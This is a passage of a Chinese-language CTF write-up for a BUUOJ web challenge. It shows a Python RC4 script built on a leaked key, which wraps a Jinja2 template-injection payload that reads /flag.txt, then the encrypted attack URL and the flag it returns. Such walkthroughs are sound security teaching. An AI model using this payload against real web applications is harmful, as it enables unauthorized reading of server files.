rc=rc4_Modified.RC4("HereIsTreasure") #RC4解密

对我们传入的参数开始进行判断,如果参数是空,就会返回”Tell me your secret.I will encrypt it so others can’t see“这句话,如果传入参数,就会进行RC4加密。同时泄露了密钥"HereIsTreasure" :happy:

4.构造一下RC4加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

5.得到加密的字符串

1
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

6.在之前构建的URL后面输入加密的字符串

1
http://2afce8f4-7dee-42fa-bb7a-c9eb932c319e.node3.buuoj.cn/secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

4

拿到flag:happy:

1
'class' is not allowed. Secret is flag{6e76b7ec-1f75-4686-8096-bfa9f35caf9f}

5

总结考点:模板注入,RC4加密,python编写脚本